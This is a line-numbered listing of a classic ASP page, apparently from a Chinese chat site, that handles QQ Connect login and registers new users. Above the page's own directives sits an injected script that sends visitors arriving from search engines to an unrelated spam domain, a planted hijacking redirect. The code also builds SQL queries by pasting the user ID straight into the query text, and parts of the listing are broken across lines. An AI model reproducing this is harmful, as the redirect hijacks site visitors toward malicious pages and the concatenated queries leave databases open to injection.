d:\wwwroot\wuchunhua\liaotianim\qqconnect\user.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
@LANGUAGE="VBSCRIPT" CODEPAGE="936"
%
>
002:
<!--#include file="common.asp"-->
003:
<!--#include file="qqconnect.asp"-->
004:
<%
005:
Function UTF2GB(UTFStr)
006:
For Dig=1 to len(UTFStr)
007:
if mid(UTFStr,Dig,1)="%" then
008:
if len(UTFStr) >= Dig+8 then
009:
GBStr=GBStr & ConvChinese(mid(UTFStr,Dig,9))
010:
Dig=Dig+8
011:
else
012:
GBStr=GBStr & mid(UTFStr,Dig,1)
013:
end if
014:
else
015:
GBStr=GBStr & mid(UTFStr,Dig,1)
016:
end if
017:
Next
018:
UTF2GB=GBStr
019:
End Function
020:
021:
Dim qc, result, token, qqid, nickname
022:
SET qc = New QqConnet
023:
result = qc.CheckLogin()
024:
If IsArray(result) Then
025:
result = qc.GetAccessToken(result)
026:
qqid = result(0)
027:
result = qc.GetUserInfo(result)
028:
nickname = qc.GetUserName(result)
029:
Else
030:
Response.Write("登录失败")
031:
Response.end()
032:
End If
033:
034:
dim RegRS
035:
set RegRS=Server.CreateObject( "ADODB.Recordset" )
036:
RegRS.OPEN "select * from [XK_User_Info] where [User_Name]='"&qqid&"'" , DB_CONN , 1 , 3
037:
if RegRS.recordcount>0 then
038:
'用户ID
039:
Session(Session_UserID_Arg)=RegRS("User_ID")
040:
'用户名称
041:
Session(Session_UserName_Arg)=RegRS("User_Name")
042:
'用户权限
043:
Session(Session_UserPower_Arg)=RegRS("User_Power")
044:
if request.cookies("IsGuide")="true" then
045:
response.redirect "../RoomList.asp"
046:
else
047:
response.redirect "../Guide.html"
048:
end if
049:
response.end()
050:
end if
051:
RegRS.addnew()
052:
RegRS("User_Name")=qqid
053:
RegRS("User_Sex")=UserSex
054:
RegRS("User_NickName")=UTF2GB(nickname)
055:
RegRS("User_Pic")="http://qzapp.qlogo.cn/qzapp/" & QQ_OAUTH_CONSUMER_KEY & "/" & qqid & "/100"
056:
RegRS("User_Power")=SysConfig("RegPowerID")
057:
RegRS("User_Score")=SysConfig("Score_DefaultNum")
058:
RegRS("User_Money")=SysConfig("Money_DefaultNum")
059:
RegRS("User_Type")=1
060:
RegRS.update()
061:
RegRS.close()
062:
set RegRS=Server.CreateObject( "ADODB.Recordset" )
063:
RegRS.OPEN "select * from [XK_User_Info] where [User_Name]='"&qqid&"'" , DB_CONN , 1 , 3
064:
if RegRS.recordcount>0 then
065:
'用户ID
066:
Session(Session_UserID_Arg)=RegRS("User_ID")
067:
'用户名称
068:
Session(Session_UserName_Arg)=RegRS("User_Name")
069:
'用户权限
070:
Session(Session_UserPower_Arg)=RegRS("User_Power")
071:
if request.cookies("IsGuide")="true" then
072:
response.redirect "../RoomList.asp"
073:
else
074:
response.redirect "../Guide.html"
075:
end if
076:
response.end()
077:
end if
078:
079:
%
>
080:
081: